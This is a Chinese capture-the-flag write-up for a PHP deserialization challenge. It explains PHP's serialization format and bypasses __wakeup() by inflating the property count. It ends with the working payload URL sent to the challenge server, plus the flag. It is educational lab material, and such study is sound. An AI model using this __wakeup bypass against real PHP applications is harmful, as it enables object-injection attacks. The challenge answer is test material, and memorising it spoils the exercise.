「场景」
进入场景:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
「思路」
根据题目提示——反序列化
已知PHP在进行反序列化前,会检查是否存在__wakeup函数,若存在,则先调用该函数.
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
改写场景提供的php,使用在线php运行环境执行:https://c.runoob.com/compile/1/
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
代码说明:
- $a=new xctf(); 创建一个新的xctf对象,赋给$a
- echo(serialize($a)); 打印$a序列化后的字符串
运行结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
Tips:
序列化字符串格式:变量类型:变量长度:变量内容
如果序列化的是一个对象,序列化字符串格式为:
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}
故,上述php序列化的结果:
O
变量类型
4
类名长度(flag,4个字符)
"xctf"
类名
1
属性数量
此处涉及一个新知识:只要序列化的成员数大于实际成员数,即可绕过。
所以将序列化字符串改为 O:4:"xctf":2:{s:4:"flag";s:3:"111";}
现在我们有了可以绕过__wakeup方法的字符串,但是还缺少一个具体的php地址,因为直接将参数加在端口后是成功发送请求的。
一般默认页面为index.php,也可以通过扫描工具进行扫描,这里使用御剑得到具体请求地址。
使用这个字符串作为参数发起请求 http://61.147.171.105:54522/index.php?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;}
得到flag:the answer is : cyberpeace{c14019ee77c0e1870b7f63ccfede03c9}
「工具」
- php在线运行工具:https://c.runoob.com/compile/1/
「知识拓展」
参考资料:
https://www.python100.com/html/38250.html